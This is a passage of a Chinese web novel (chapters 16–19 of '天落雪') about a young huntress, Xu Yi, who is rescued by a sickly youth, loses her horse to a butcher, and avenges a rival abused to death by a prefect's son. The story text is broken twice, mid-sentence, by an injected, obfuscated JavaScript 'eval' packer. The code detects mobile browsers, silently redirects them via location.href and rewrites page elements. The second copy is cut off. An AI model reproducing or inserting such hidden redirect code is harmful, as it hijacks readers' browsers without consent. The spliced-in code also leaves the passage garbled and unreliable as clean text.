其中一个身形瘦长的人撇撇嘴,“就是身材太过干瘪了,也太脏了些……” 倒在地上的女孩年纪不算大,肩膀上洇出深沉的血色,这便让她的脸更加苍白了。那一箭迅猛有力,旁人中了肯定得大声嚷痛,可她却很识相地没有大喊大叫。 男人和紫衣公子并不想管她。这时山林的另一边传来阵阵窸窸窣窣的动静,他们便收弓弩、快步跑去。 那长相温和好看的少年皱了好一会眉头,他似乎有些站不住,只能微微俯身垂首喘着气。 谁曾想,他拦住了这群人的去路,轻声说:“若是皇后知晓了你的这般行径,定然……不会让你再去砚山打猎。” 砚山是司州最为壮观的一座山林,也是最古老的。因其地势好,即便是荒年,山上也有不少的树木和猎物。 砚山是下一个打猎的目的地,父亲要安排自己入宫,他近来学习了许多与之相关的规矩和知识。进入砚山就是父亲给他的一份奖励。 这是他求了许久才求来的奖励,可不能黄了。紫衣公子霎时顿住脚步,眼睛里露出怀疑和阴狠的目光,可看见少年这副冷静却虚弱的模样,又笃定地说:“姑母是不会知晓的。” “我可以去……告诉她。”少年轻声。 “你敢?” “自然敢。”温和的人连挑衅也是温和的,少年语气淡淡眼尾上挑,却足以掀起旁人心中的阵阵波澜,他轻声反问:“张公子以为我不敢吗?” 紫衣公子的脸色变得铁青,朝着少年吼道:“郁故行,你已经是个废人了!我父亲已经不再信你,郁国公也不会放过你。你现在就是一条无论走到哪儿都遭人嫌的狗,凭什么以为皇后会信你?” 刀剑出鞘的声音在寒风中更显得泠然,紫衣公子遏制不住自己的情绪,拔出剑指向那微微倾身虚弱少年的颈侧。 “一个奖励换一条人命,无论怎么选好像都是张公子您赚啊。” 救她,不费吹灰之力,只是随手的事情,何况还是紫衣公子故意弄伤的她。不救的话,也仅仅只是少个奖励罢了。 好不公平。 少年失笑,强撑着身子将长剑从眼前移开,掠过紫衣公子的眼神看向倒在地上的女孩。她似乎是觉得痛,才微微蜷着身子,若不是那一箭射得太重了些,女孩早就应该趁他们不注意跑掉了。 仅仅是僵持了半刻,紫衣公子就甩袖哼道:“随你怎么做罢!”紧接着他上前几步,低声警告,“若你当真让我去不了砚山,本公子就一定不会放过你。” 徐宜疼得咬住下唇,看着自己的伤口。如果不是自己身上的衣料太少、手也动弹不得,她很想给自己包扎下伤口。如果不是伤得太重,她早就想偷偷溜了。 争论声弱下来,林子里起了鸟叫声。她意识渐沉,恍惚间只能听见他们断断续续的说话声,最后再复归于静。 要死了吗? 可她走了这么久了,明明马上就要到槐 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那些人如果想要她的命早就要了,更何况她也反抗不了。 她慢吞吞地起身,坐在板凳上开始撕缠在自己肩上的白布条,再换药。 伤口被人处理得很干净,箭及时地拔了出来,没有伤及根本。 是谁救的她?那位长相温和、身子不太好的少年么?她似乎隐隐约约地听见了他同那王八蛋的争论。 不过也不甚清晰,那位少年似乎叫郁……什么来着,徐宜拍拍脑袋,皱着眉仔细想了会儿,却还是没能想起来。 桌几上放着几盘谷物做成的糕点,她几乎是不加思考地就抓起来往嘴里送。吃了会儿又觉得不对劲,腮帮子就此僵住。 那群人为何要伤了她再救她呢? ……不想了,反正都已经这样了。 来路不明的食物她这一路上吃得多了。还怕这些吗? 吃了两个,盘里还剩了许多。徐宜不敢吃多了,她小心翼翼地把它们全都倒在怀中,准备带回去给马儿吃。 走出客栈的时候,徐宜意外地发现自己身上沉甸甸的。一摸兜,居然摸出来不少的银两! 银灿灿的还发着亮呢。 这些银子足以使她撑过这段路程,成功抵达槐里。 荒年不生谷物,不生青草也不生猎物。可槐里的砚山受着天神庇佑年年都是生机和绿意,里面还有活着的许多猎物,她和她的马儿就再也不用愁吃穿用度了。 眼睛跃出雀跃,她步伐轻盈,想要快些回到山洞中。 客栈上的纸窗户被拉上,少年敛目,眼角眉梢挂上笑意。斜倚着窗,笑意被打断,他抵着拳咳了几声,脸色愈发苍白。 路上逢了许多乞讨的穷苦百姓,他的银子已经施得差不多了。 “身上只有那么些盘缠了,还怕不够……”但看那女孩心满意足的样子,肯定是够了。 不过他还是后悔没能多带些出来。 16. 天落雪 徐宜拿着银子去集市上买了些干草、干粮,还有一身蓑衣和一顶青箬笠。 这是她买得最昂贵的东西。 路上天气多变,几乎是日日下雨下雪。之前赶路的时候,她就经常淋雨,身子被打湿了就会生病,生病之后又会影响行程。 以至于她现在都还没有到达槐里。 天上阴云密布,看着又是要下雨的样子。徐宜叹口气,但转眼看见自己新买的蓑衣又展颜笑起来。 她如今不怕下雨了。 新衣裳也不会被打湿弄脏了。虽说她的肩上的伤是由那些人造成的,但不管怎么样还是要多谢那位好心的少年,既给了她银两,又给了她新衣裳。 偶有雨丝飘到颈间,凉丝丝的。她干脆将蓑衣披在身上,加快了步伐。不一会儿就到了她在山脚下暂时的住处。 那是个普通的洞穴,里面黑黢黢的,看上去异常阴冷。但这已经是她能找到的附近最好的住所了。她的马儿与她一般随遇而安,往常回来她打猎回来还能听见它安稳的鼾声,但今日洞中却一片死寂、无一点声息。 这个山洞极为隐蔽,是她找了许久才找到的。无论是山间的野兽还是附近的山民,他们都不会发现这里。 ……但它为什么不发出任何声音? 不好的预感慢慢在心中延伸,徐宜无措地睁大眼,定定看着前方。她害怕进去看见里面空无一物,更害怕看见它死去。 她最后还是走了进去。篝火已经熄灭了,只剩些灰黑色的残渣瘫在地上。 而马儿就趴在那些残渣的旁边,它依然是清晨的那个姿势,马头朝向里侧,整个身子都隐在黑暗中,瞧上去有点自闭。 眼睛紧闭着,肚皮已经饿得瘪了,但幸好,它还在发出细微的呼吸声。 目光略微移开,就看见了放在马儿身边的干粮。徐宜生起错愕,那明明是今天一早她放在地上的。 可那些干粮的数量并未有所减少。 马儿根本就没有吃。 从早到晚,它都保持着那个自闭的姿势,头朝向里侧就是为了不看见食物。为了避免自己看到食物就忍不住吃掉它们。 可它与她一样,已经三天未进食了。 “……你说说你,放在地上的干粮都脏了。”喉咙像是卡了块竹篾似的,难受得说不出话,徐宜抚顺它粗糙的棕灰色毛发,哽咽着说: “这样我还怎么吃啊?” 马儿缓缓睁开眼睛,黝黑的眼珠子就这样定定地看着她。它对血腥味格外敏感,能闻到来自她身上的味道,它叫了声,眼睛里面露出些悲悯和怜惜。 像是被灼烫了一下,徐宜倏忽间垂下眼睛不敢去看它。 她慌手慌脚地从怀中拿出买来的干粮和干草,放到它的嘴边,念道:“今天有个好心人,给了我很多银子。往后我们总算能顺利地、不饿肚子地抵达槐里了。” “槐里有座山,里面有不少猎物。我相信我们一定能靠山吃山、不饿肚子的。”女孩弯起眼眸,笑起来说道。 马儿像是能听懂似的,偏过头蹭了蹭她的手腕,然后乖乖地吃那些干草。 徐宜看见它越是乖巧就越是难受。这匹马儿之前最不受她家里人的待见,它那时的性子活泼、好动,可父亲最不喜的就是它这般。 也就像不喜欢她一样。 北方的戎人不知怎么的攻破了许朝城池,战事来的突然,又逢上荒年,处境更是雪上加霜。 在徐宜出门打猎的时候,她的父亲、母亲、弟弟就驾着马车离开了。等到她回来后,马厩中就只剩下这匹棕马。 她那时慌张得很,赶忙丢了手中的野兔子,骑着马匹向远处追去。 路上遇上不少戎人,虽有危险但最后还是追上了他们。 只是她的家人们看到她的时候,脸色都有点难看。 特别是父亲,他的眼神变得极为复杂,脸上的面皮上下起伏着,掺杂着几分不耐,“你为什么要跟上来?我不是跟你留了信纸让你在家中等吗。你为什么总是这样不听话、任性行事?” 连着三个沉重的问句让徐宜有点懵。 母亲撩开车帘,脸上挂着的是无奈,她脾性温和素日不怎么生气,可如今她却向她皱起了眉头,“你这孩子怎恁地不懂事!戎人马上就要追上来了,你如今拦住我们的去路是为何?” 女人怀中的两岁孩子被这语气吓到哭了起来,她低眸语气转瞬就柔和了,“没事没事啊,不哭了不哭……” “我……”她牵着马匹站在马车前面,在路上她想了好些话,譬如“为什么要丢下我是忘记了吗”、“我不是个累赘能带上我吗”,但看到他们的眼神之后,这些话就梗在喉中了。 或许她的确是个累赘。 最后她不记得自己说了些什么了。好像是珍重,抑或是抱怨? 她只记得自己安静地垂下脖颈,自觉地退开,为他们让出一条路,目视她们离开。 车轮骨碌碌地滚在地上,扬起大片尘灰,连道路两旁的荆棘树丛都盖上了一层灰。徐宜的眼前突然有些模糊,她坐在马背上微微俯身,大口喘着气却仍是觉得不过意。 …… 洞外淋淋洒洒地飘起雨雪,雾气和白雪混合交杂一片,显得天色更加混沌。 马儿吃饱之后又来蹭徐宜的手。她反客为主,开始抚摸棕马的头,接着又捏它的耳朵,它很乖地垂下头,任她动作。 “……之后我们不会再过苦日子了。”过了半刻,徐宜站起来拍拍手,利索地生起火。 洞中的温度一下子就上来,火光映在山洞的壁沿上,可上面的影子却东倒西歪,猛烈地颤着,就像是四处飘扬的雨雪一般。 …… 之后她们成功地抵达了槐里,因为有了那些银子才极为顺利。徐宜在心中再次感谢了那位好心的少年,若不是他,她就会死在山林之中。 少年跟那群目下无尘的显贵人士似乎是一行人,却因为她与紫衣公子发生了矛盾,不知道他会不会遇到危险。 但好心有好报,她希望他能够平安。 她也做不了什么,只能为他祈福。 意识消散之前,她记得自己模模糊糊地听见了那位紫衣公子要来砚山打猎,这是不是也意味着她可以再次见到那位少年,同他道声谢? 但愿吧。 徐宜很满足自己在槐里的生活。 先是砍了些树木、搭了间小小的木棚屋,再是将猎物拿去换银两来支持自己的生计,时时也可以吃上新鲜的肉。槐里的猎人比不过她,此次都让她占尽先机。 她还与山脚下的沈大娘结识,交上了来槐里的第一个朋友。这位大娘极为热心肠,还跟她一样喜欢银子,还答应给她送菜。 镇上的贺姑娘,隔壁的许大爷……他们也很友好善良。 她还在槐里还遇见了自己的姨父姨母。 待她拿着银子和肉去拜访他们的时候,他们眉开眼笑的,说是要收养她。 可槐里的其他人并不待见她,在看到她的棕色马匹之后更是排挤、疏离她。 他们也说这匹马儿很晦气,每每见到都大喊:“看哪!这不是被通缉的驽马吗,长得真是歪瓜裂枣,戎人就是骑着它们侵犯许朝边境、踩碎庄稼、欺压百姓的!现在看见了真是嫌晦气。” 徐宜理解他们的恶意。 驽马是戎人的坐骑,他们经常为祸一方。扰乱边境、抢夺粮食、掠夺妇女……这些恶劣的行径让百姓们过得很不安生。 可她并不能理解他们对这匹棕马的无端、没理由的恶意。 她的马匹并没有做那些事情。 有些人、有些事真的好没道理。马匹就是战争的工具。 他们应该谴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174311|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 责的不是深受其害的马匹,而是训练马匹的东西,譬如北方嗜血如命的戎人,再譬如不作为的许朝官府。 有些人认为她的棕马是匹驽马,会带来厄运。有些人则认为它是杀人的利器,应该处以极刑。 她不认可这些,她只知道这匹他们口中“驽马”,是她所共患难的一位朋友,也是她相依为命的一位亲人。 …… 可现在这位亲人没有了。 钝刀剥皮削肉、铁锤敲碎骨头,这些行径令人发指,比极刑更加可怕。 但凶手的眼神很平常,不耐中藏着些自大和骄傲,他满心满意地洗着那把钝刀,还有一张张带血的马皮。 最后他舒服地喟叹了声,仿佛是在欣赏。 徐宜将棕马的骨头残渣放在了一个小木盒里,揣着盒子就这样木然地盯着他。 乌黑的眸子里没什么情绪,唇瓣被风雪冻得发红,发丝在脸颊边乱颤,看着倒是有些吓人。 “你这姑娘站在路边干啥哩,冻人哪!快些回家罢!”铺子旁有几个大娘经过,见到她这副样子便好生劝告。 王屠夫闻言也没理会她。 她站了一会儿就离开了。身子疲倦得不像话,腿上像是绑了千斤重的石头一般,重的抬不起来。 飘来的风雪盖在小木盒上,她缓缓抚去那些雪,神色异常柔和。随后再上马牵住缰绳,扬起马鞭回槐里。 - 徐宜回来槐里之后,卫家的姑娘卫之还来找了她。她的腿似乎有些问题,走过来晃晃悠悠、东倒西偏的,可她依然把背挺得很直,一双吊梢眼清高地看着徐宜。 她的声音很平淡,对她说道:“我真高兴啊,你成寡妇了。而我就快要嫁给县里郡守的儿子了。” 可她脸上没有半分愉悦的情绪,不像是即将要成婚的样子。 徐宜默默看着她不说话。 卫之还在不断地“炫耀”自己的夫君,她强撑起精神,卖力地睁起眼睛,说郡守的公子多么温柔家世多么好,但最后她却站不住了,衣裙边上也慢慢延出血色。 “我就要有夫君了,而你的夫君言三已经死了……”她的双腿支撑不住踉跄了下,仍在笑说:“我一定会……过得比你好的,徐宜。” “你整日只知进山打猎,不守女诫,真是枉为女子,你不配为女子,女子哪能过自己想过的生活、嫁自己想嫁的人呢……我不可以,你为什么就可以?” 徐宜被骂得有些懵。 她此前不喜欢卫之。她总是目下无尘自视清高,也瞧不上她这样的人,况且她还日日向槐里的其他人说是自己抢走了她的未婚夫。 可她今日的行为和话语实在反常,也让她觉得诧异。 卫之哭成这个样子,她也不好不去安慰她,只是后面她骂骂咧咧地说了句“我恨你”就再无下文。 她一瘸一拐地走回去,看上去着实有些可怜,徐宜想送她却被她甩开了手。 …… 一日,黄昏下,砚山笼罩着一层暖暖的雾气,白雪就要消融。 徐宜找出了家里的锄头,在后山挖了两个土坑,埋下从王屠夫那儿带回来的骨头碎渣,再立了两个墓碑。 去了一趟京中,没能把夫君的尸身给找全,只带回来他身上的一块环形玉佩。 屋子里没能找到他剩下的衣裳,她又不忍心将这唯一的念想给掐灭。因此言三的坟墓底下就只是个空壳。 坟墓光秃秃的,显得格外孤单寂寞,阴恻侧的风一吹,更是寒冷。即便是黄昏日下的黄色天光,也无法使之温暖起来。 她站在边上,忽然觉得墓碑周围的土没有压实。她便丢了锄头,蹲下身,使劲地用双手去压。 砚山悄无声息地换上绿装,枯枝上逐渐冒出新芽,山脚的春潭也开始倒映出令人沉醉的绿色。 是的,要开春了。 17. 天落雪 永光十三年,又是一年春天。 砚山山脚下的春潭绿意盎然,倒映着层层叠叠的翠山,投掷一块石子进去,粼粼的微光就开始波动。 潭边围了一群人赏景。赏景自然躲不过说些槐里人的八卦和闲话。 许大婶一身花布衣裳,再咧开大嗓门,率先说起:“你们且说说,这徐娘子当寡妇的这些年找了几位郎官?” “我看有五位。槐里乡的许公子、卫公子,清河县的公良先生、陆筠公子,还有一位……貌似是京中来的显贵之人,好像还是尚书府中的唯一血脉,叫什么卜晏来着!” “这徐娘子真是好手段哪。”众人应和起来,其中有不少的年轻女子脸上露出艳羡的神情。“是啊是啊……” 她们不可否认的是,徐宜的确有那个本事。她长得原本就水灵,像是山林间流动的雾气一般,眉眼又生得娇俏,连其间的几分死寂和戾气都成了点缀,相互映衬着,丝毫不矛盾。 都说俏寡妇,近两年她也出落得越发好看了。 可夫为妻纲,许朝明文规定了寡妇不可再找情郎也不可再嫁。可徐宜不守妇道、离经叛道也不是一天两天的事情了。 但自从她夫君死了之后,她便再也不去砚山中打猎了,穿着打扮也更加像一个贤淑的温婉女子,众人便以为她是脱胎换骨、改邪归正了。 令她们没想到的是,她只是表面正经,背地里可是足足找了五位情郎。 “才五位啊!”穿着蓝衣裳、用红色头巾绑头的沈大娘笑得前仰后合,“这也算多?众位过得也太磕惨了些罢。” 众位姑娘被说得脸色发红,插着腰不甘心地回怼,“戏本子里都讲求一生一世一双人。何况女诫中也说过了,夫为妻纲,徐娘子她已经嫁人了,怎么还可以再找别的情郎?” “是嫁人了。可言三已经死了,徐娘子今年才不过十八岁,难不成要让她守一辈子寡?”沈大娘撇撇嘴,再补了一句,“见识短浅。” 姑娘们还欲再辩就沈大娘的嗓门给堵了回去,“徐娘子长得那般好看,性子又好,有公子喜欢那是再正常不过的事情。在一起不过是顺手推舟、你情我愿的事情,有什么不对吗?众位反应这样激烈,难不成是嫉妒?” 姑娘们都带着忿然的神情看着沈大娘,许大婶站前来,从鼻孔里哼出两道粗长的气来,她斜眼瞥着她,说:“别理会她。她也是个寡妇,她死了夫君之后也找了好些情郎,与那徐宜臭味相投,这样的人自然会帮徐宜开解。” 沈大娘呵呵笑了声,“大婶,你家那赌鬼最近倒是没咋赌钱了,想必是花得差不多了,可近来我常在县里的酒馆看见他呢。既然你这样说的话,那我还是祝你和他一生一世一双人。” “你……!”许大婶瞪着她说不出话来,沈大娘轻飘飘地来了句,“不过我还是挺佩服你的,忍了那赌鬼那么久。” 众人既看见沈大娘咄咄逼人的样子,又听见了许大婶的家丑,有些自讨没趣,便纷纷走到了春潭西南方的山林小径上。 许大婶转瞬也跟了过去,觉得无聊,又开始聊起来,“你们听说了吗?卫二姑娘死了!” “啊?”一个粉衣女子疑惑蹙眉,又道:“可这卫二姑娘前些年不是嫁给了郡守的公子吗?我记得是……永光十一年!好像还是徐宜夫君死的那年嫁过去的。” 许大婶:“你们有所不知,这卫家二姑娘与徐宜速来不对付,她曾常常对我们说起徐宜抢了她的夫君……” “言三的家世可比不上郡守家罢,”女子撅起唇瓣,眼睛里亮亮的升起羡慕。“那可是郡守公子!我们这些平民百姓要是嫁得过去,那便算是攀上高枝成了凤凰了。” “……可我听说她是嫁给郡守公子为妾。而且这聂公子并不像外人传得那般品行端正、光鲜亮丽。”人群中有个声音弱弱的,“我觉得卫二姑娘的死因也极为蹊跷啊。” 许大婶也接过话头,点点头道:“对!清河县中关于聂公子的传闻风风火火的,郡守公子虽然家世好,性子到底比不上言三的温柔体贴。况且那时卫家的确与言家有过婚约……徐宜的确是抢了卫二姑娘的未婚夫婿。” “这徐娘子怎生这样不讲道理呢?现在还害得卫娘子丢了性命。” 长相清秀灵动的粉衣女子愤然拍手,说道,“我记得去年徐娘子还与卫家的长公子有过来往罢?两人之间的关系在那时就有些不清不楚的。” “这徐娘子也太可恶了些。既抢人家未婚夫婿,还抢人家的兄长,真是恬不知耻哪!” …… 卫家的家产、地产虽不丰硕,但相比于槐里乡的其他仕宦家族,卫家还是能排上号的。 尤其是前两年卫家二姑娘卫之嫁给了清河县上的郡守公子,长公子卫良文又经过选拔、上了太学……这些事情让卫家又辉煌了一把。 可这辉煌才刚延续不久,卫家二姑娘就死在了郡守家。 郡守给出的交代是她疯了。可究竟怎么疯的,疯了又为何会死,这些通通都没有交代,郡守甚至都没有出面,只用了些银子就摆平了这条人命。 卫家的宅子也并没有挂上白幡,依郡守的要求,这场葬礼要一切从简,所以卫府就办得极为简单。 前宅正中放上灵台、点了几盏香,灵台下面则铺着几个白色的蒲团。 门口并没有小厮把守,卫家人腊月去了交州避寒,如今还没能回来。宅中或许就只有卫良书在,只是等开春,他也得去京中太学了。 徐宜很轻易就地走了进来。背篓里装着几束花,手中拿了两盏红烛。 “……你来做什么?” 她正微微垂头、合上门,手上的动作慢吞吞的。听见这道声音,她倏然间转过身来。 “我……”女子的神色极其复杂,带着些狂喜,像是失而复得似的。可等到她看清面前的人了,神色就复归于寂淡。“我来为卫二娘子守灵。” “不必了。人死,灯灭,徐姑娘不必为其守灵。这份心意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她也不能给出理由。 卫良书的眉眼长得与言三有三分相似,可声音几乎是一模一样。她就是因为这个喜欢上他的,但后来她察觉到他身上真诚的爱意之后,就不敢上前了。 前面的几位公子也是一样的。要么是眉眼相似,要么便是皮相、声音、性子……只要他们爱上她,她就会脱身。 不一会儿,天光阴沉下去,乌云聚拢,就要下雨。 卫良书沉沉的目光始终落在她的颈上,灼热得快要烫出一个洞来。 徐宜攥紧了襟口,咬住下唇。不想局面闹得太难看,要不还是走罢。 “那叨扰了。卫公子请节哀。” 话音刚落,前面那人就转身走了,衣裳料子擦过地面发出响声,声音依旧冷淡,说出来的话却让她觉得不可置信。 “进来罢。” 18. 天落雪 每次听他的声音,徐宜都会恍惚。 温和清润如泉水般,又带着三月屋檐的融融暖意,与她的夫君实在太像了。 她跟在卫良书的后面,他走一步,她才走一步。 他走得很慢,步伐凌乱不稳。似乎是他腰身受伤了,走路会牵动伤口的缘故。 卫家家中如今只有他。卫二娘子不明不白死在了郡守府中,他自然要去讨个公道。可公道没讨着,倒是把自己给伤着了。在这一点上,清河县郡守的做法倒是与京中廷尉府挺相似的。 徐宜加快步子,很轻易地就走到了卫良书的身侧,微微仰头看他。 他的眉眼皱着,似乎在忍痛。脸色比刚才的要苍白多了。 ……清河县郡守对他做了些什么? 还有卫二娘子到底是怎么死的。 她敛下眉目。如果不去争,这些事情可能就会永远没有真相。 也讨不回公道。 宅邸门口离正堂的距离不远也不近,过了会儿就到了。 一股从正堂来的香烛味没入鼻息之中,很烈,浓郁到甚至有些呛人。 宅子外面没有挂上白幡,可宅里灰黑色的屋檐上倒是挂了不少的白幡。灵台前的香烛整齐地排列着,袅袅青烟不断地浮出,朝着外面汹涌而来。 这可不是一切从简的葬礼。他没有听从郡守的命令。 她突然反应过来为什么卫良书要将她挡在门口。讨厌她是一方面,害怕她是郡守派来的细作也是一方面。 若是让郡守知晓这场葬礼办得不算简陋,那卫家可有得受了。 漂浮起来的烟尘比雾气还要浓郁,遮挡住前面的灵台,徐宜勉力睁开眼睛,也只模模糊糊看见一点沉黑的木色。 那应当是放置卫之尸身的棺材。 “真高兴啊,你成寡妇了。而我就要嫁给郡守的公子了。”脑海中突然浮出这句话,还有卫之那比哭还难看的笑。 看来那时她就已经知道郡守公子是个什么样的人了。她不是自愿嫁去的,而是被逼去的。 “女子择郎婿,不能不听父母之言。郡守公子虽性子骄纵了些,可他家世极好,嫁给他自然是一辈子衣食无忧、快乐自在。”或可有卫家父母的好生劝告、推波助澜。 再者,也有郡守的威逼利诱。卫家本就不甚景气,若是少了这门婚事,更是雪上加霜。郡守掐住这一点,就掐住了卫家的命脉。 这婚,无论如何都是要结的。卫之逃不了,难怪那时候她口不择言地对着她哭,可她当时死了夫君,只觉得她莫名其妙。 …… 徐宜走前去,跪在蒲团上,将背篓里的几束花拿出来放在灵台的下面。她再点燃手中的红烛,插在香灰上。 风莫名的平静,烛火也就直挺着,没有东倒西歪地打偏。 就像卫二姑娘平日里对她的那样,从来都是挺直了背脊、高仰着头,居高临下地来看她。 烟气逐渐散开,徐宜这才看见了灵台后的棺……木盒? 她探身前去看,没有看错,灵台后面放置的不是三寸长的棺材,而是一个小小的、孤零零的木盒子。 莫非是卫之的尸身已经被烧了,里面便装的是些骨灰么? 可依照槐里的习俗,守灵是要在尸身火化之前进行的。 徐宜蹙起眉目,难道是郡守公子得知卫之死后,害怕其他人看出端倪就立刻拿去烧了罢…… “里面没有她的骨灰,这也就不算做她的灵台。”公良书也跪下来,平静地说道。“装的是些用她小时候穿过的衣裳来烧出来的灰。” 这样沉重的一句话,居然是以这么浅淡的语气说出来的。徐宜感到骇然,她轻仰头,觉着喉头有些难受。 卫良书:“阿之她是被打死的。”年轻公子摇了摇头,无奈失笑,“最开始是被打伤了,瘫在床上动不了。府邸上也无人去管她,我们也不知晓,不出两天人就没气了。” “我没看见她的尸身,骨灰也找不到。郡守说是已经将她葬在祠堂里了。” 卫良书侧过头来,古井无波的眸子看向她,“谢谢你能来祭奠阿之。她这些年,过得很苦。” 徐宜轻点头,说不用谢。她俯身,朝灵台后的那个小木盒拜了几拜。 又有人陷入了与她相似的处境。三年前她也是这样,在大雪之中,在京中廷尉府前,求了许久都未曾寻自己夫君的尸首。如今砚山脚下就只有两个孤零零的坟堆,下面什么都没有。 卫之这样高傲、任性的人,才不会允许自己就这样草草下葬。 她垂眸,眼角余光恰好能看见灵台前的香烛。烛火依旧不偏不倚,风平浪静。 如果烛火能微微偏向左边,再向右边倒去。那她就当卫之向她服软、认输了。 她就去替卫之报仇,杀了郡守和郡守公子。徐宜在心里默默许下了这个约定。 可此刻却风平浪静。槐里开春之后的天气一向是极好的,卫宅又处于向阳之地,宅里不会有穿堂风掠过。因此灵台前的烛火依旧不偏不倚地烧着,黑灰色的烟灰如流水般泄了下来。 ……输给她了。 跪在蒲团上的年轻女子微微起身,仍是保持着“跪”这个姿势,敛了眉目,稍稍把膝下的蒲团往前移了移。青色的衣裳随着她的动作而上下浮动,也缓缓牵起了烛火。烛火的方向果然改变了。 就当是她欠卫家的。不管怎么样,是卫家家主对卫之和言家的婚事摇摆不定、态度模糊,她才阴差阳错与言许成了婚。再者也是她招惹了卫家长公子却又摆手不认人了。 ...... 卫良书侧着眸子看她,神色倒是淡淡的既不显山也不露水。心中倒是有一个莫大的疑问。 她为什么会来? 平心而论,徐宜不是个会可怜人的女子,换言之,她是不会可怜卫之的。 只因她与卫之的性子太过相似了,都犟、谁也不服输,因此只要一见面,她们便会有口舌之争,折腾得久了没准还会打起来。 这“打”和“骂”可不是欢喜冤家似的小打小骂。即便他是卫之的兄长,也不得不承认,每次都是卫之先去招惹的徐宜。 他这妹妹,很矛盾。尤其是对于徐宜的感情。 卫之很喜欢刀。她少时背着父母在家中收集了各种各样的短刀、长刀……光有这些还不够,她还试着自己锻造刀具。 可即使有他帮着隐瞒,一年内还是会被发现那么一两次。 糯米团似的小女孩跪在刚结冰的地上,脸颊、鼻头都冻得血红了,一双乌溜的大眼睛瞪着远处,愣是不肯哭。 最严重的那次,是在卫之十岁的时候,父母把她藏在屋中的短刀全部没收掉,随后丢进炉子里,炼化了。 卫之抱着那些刀哭得伤心极了。可父亲黑着一张脸,就开始打她。 那些年,卫家的情况的确不景气。本是官宦世家,到了他父亲这一代,就此落败了。 父亲的性情大变,或是暴露出自己的本来面目,他开始找家里人撒气。打他,也打卫之。 第一次险些打断她的腿。有了第一次,就有第二次。 第二次是手。 再后来他去了清河县做教书先生。 回来之时,素日桀骜不驯的妹妹仿佛变了一个人似的,温婉贤淑、端庄典雅,却唯独少了眉眼间的灵气。 一向不喜繁缛礼节的她,却读了女诫、还将其背了下 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也见不得她可以忽视槐里乡其他人的看法,不受干扰地继续做自己喜欢的事情,更见不得她斜挎弓弩、腰间配刀、进山打猎。 “配刀。女子如何能配刀呢,女子又如何能打猎呢?”他的妹妹百思不得其解,最后又找出桌底的那本《女诫》,翻开后兀自念叨着:“清闲贞静、守节整齐,专心纺绩、不好戏笑。” 后来她时常垂眸盯着自己手中的针线活发愣。她也不再看窗外。 女子就是要卑弱,万不能掩了男人的光华。不管是母亲所说,还是书中所写,都是这样的。 起初她并不相信这些,可被打得怕了,也听惯了。往日鲜活的女孩就这样变得死气沉沉。 她开始以三从四德去要求徐宜,在妇人中说些她的闲话。即便这样,两人的关系也是相安无事,井水不犯河水。 导火索还是徐宜嫁给了自己妹妹的前未婚夫——言不许。 言不许是言家的三公子,在家中不太受宠。将卫之嫁过去对卫家的处境没有丝毫帮助,因此父亲就自作主张地替她改了嫁。 乡里人都不看好这桩婚姻,言不许虽深居简出,可近来却得了去太学的名额,又长得一表人才。至于徐宜呢众人都摆摆头不想多说。 可婚后两人却很美满。言不许并未像寻常夫婿那般苛求妻子,相反他很是喜欢徐宜,愿意接纳她的一切,即便是打猎这门为众人所不齿的营生。 由此他的妹妹便记恨上了徐宜,见人便说是她抢走了自己的夫君。 …… 卫良书起身应好,将徐宜送至了宅门口。她出落得愈发漂亮了,乌发黑眸,脸颊因着香火的缘故变得红红的。穿着一身青色的衣裙,颈前的襟口微微泛白,衬得人素净美好。 她张口又说了句:“请卫公子节哀顺变。” “好。”卫良书应。 她的神色依旧素净沉静,看不出半分纰漏,可就是令人觉得很不对劲。就像是蒙上了一层纱,整个人都带着一层灰扑扑的阴影。 原本不是这样的。是永光十一年她的夫君死后,她才变成了这样。明明带着笑意,却又不像在笑。 没有人比她更淡漠更无情了,自言不许死后,她不会把任何人真正地放在心上。她前前后后找了三个情郎,而他恰好就是最后一个。 快要成婚的时候,她弃了他。新婚那日,她看着他惊愕的样子没有半分动容,只微微皱起眉目,对他说自己要去做更加重要的事情了。 他后来才知道,徐宜所说的那件重要的事情,是砍断一个屠夫的手。 19. 天落雪 两日后,清和郡闹得沸沸扬扬的,众多挎着菜篮子的大娘大婶挤在告示栏前,争先恐后地看。 一个男人指着告示栏,惊恐地瞪大眼:“怎么一下子死了两个人?这清和郡真是不太平哪!” “嗐,这郡守公子怎么就死了呀!”蓝衣裳的妇人吃了一惊,又说道,“还死在了我家夫君经常去的那个小酒馆。还有这位王屠夫,昨天我还瞧见他在那间铺子里杀猪呢……” “作恶多端呗。”一人啐道,“这王屠夫素来在晚上磨刀宰牛,扰得方圆几十里的人家都不清净,我记得他年轻的时候与人发生矛盾,一怒之下就砍了人家的手和脑袋,但最后却因着他跟郡守家有点关系,才没有受到刑罚……这郡守的曹公子更是个重头戏,他就是个禽兽,不仅调戏良家妇女,还诱拐她们、使其成为自己的妾室,弄到手之后更是虐待她们,你们瞧,前些日子卫家的二姑娘不就死在了郡守府邸中么?” “可话又说回来,这通缉令上是不是画错了?”妇人皱起眉,疑惑地问起。“为什么要通缉个年轻姑娘呀?她长得这样漂亮,眉眼又这样灵动,看上去也不像会杀人的样子啊。” 方才那人看了一眼通缉令上的名字,“这你就不懂了罢,恶人自有恶人磨。你口中这位年轻、漂亮的姑娘可是砍断过王屠夫的手呢。” 妇人“啊”了一声,心有余悸地点点头说:“原来是这样。” 